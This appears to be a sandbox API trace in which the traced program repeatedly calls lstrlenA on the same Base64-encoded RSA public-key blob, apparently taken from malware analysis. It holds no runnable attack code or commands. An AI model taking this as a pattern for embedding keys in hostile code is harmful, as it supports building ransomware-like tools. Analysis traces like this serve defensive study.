	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.609] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.610] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.610] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.610] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.610] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.610] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.610] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
